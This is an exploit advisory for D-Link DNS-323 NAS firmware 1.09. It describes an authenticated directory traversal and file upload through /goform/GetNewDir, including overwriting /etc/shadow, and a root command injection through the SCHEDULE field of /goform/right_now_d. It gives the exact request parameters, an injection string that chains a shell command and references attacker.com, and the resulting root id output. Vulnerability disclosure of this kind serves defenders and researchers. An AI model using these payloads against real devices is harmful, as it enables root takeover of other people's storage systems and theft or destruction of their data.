################################################################################ Exploit Title: D-Link DNS-323 Multiple Vulnerabilities # Author: sghctoma# E-mail: tamas.szakaly@praudit.hu# Category: Hardware# Vendor: http://www.dlink.com/# Firmware Version: 1.09# Product: http://www.dlink.com/us/en/support/product/dns-323-1tb-sharecenter-2-bay-network-storage-sata-raid-0-1-usb-print-server###############################################################################.intro
======
DNS-323is a NAS product from D-Link with a web GUI. The GUI is vulnerable to
multiple attacks described below. Both vulns are inthe "SCHEDULE DOWNLOAD" page,and both require authentication. However a normal user is enough, no need for
admin..vulnerabilites
===============.arbitrary file upload
----------------------
When one clicks in the "Save To" textbox or the "Browse" button, a popup appears
with the directories on the "Volume_1" share. When one clicks the "+" sign to
open a directory, a POST request is sent to /goform/GetNewDir with the following
parameters:
fNEW_DIR /mnt/Volume_1
f_backup 0
f_IP_address <ip address of NAS>
f_file 0
A directory traversal is possible via the fNEW_DIR variable,and we can browse
not only the directories, but the files too with setting f_file to "1". So,for
example with the following params one can browse /:
fNEW_DIR /mnt/Volume_1/../../
f_backup 0
f_IP_address <ip address of NAS>
f_file 1
So, this way we can browse the entire directory tree,and we can schedule a
download to wherever we want.(e.g. overwrite /etc/shadow - oh, yes, we are
doing everything as root, btw.).OS command execution
---------------------
When one clicks the "play button" on a scheduled download, a POST request is
sent to /goform/right_now_d with the following parameter:
T1 <at job id>,SCHEDULE<num>,<user>,<source>,<destination>,<num>
SCHEDULE<num>is injectable, so for example setting T1 to the following writes
the output of the "id" command to a web accessible file:11,SCHEDULE13 &&id>/web/path/id.txt,dns323,ftp://attacker.com/dummy.txt,/Volume_1/Public,1
After such query we can visit <NAS address>/web/path/id.txt,and we will see the
following content:
uid=0(root) gid=0(root)###############################################################################
Screenshots and a write-up of these vulns in Hungarian is available at the
following URL: http://praudit.hu/index.php/blog/nassoljunk
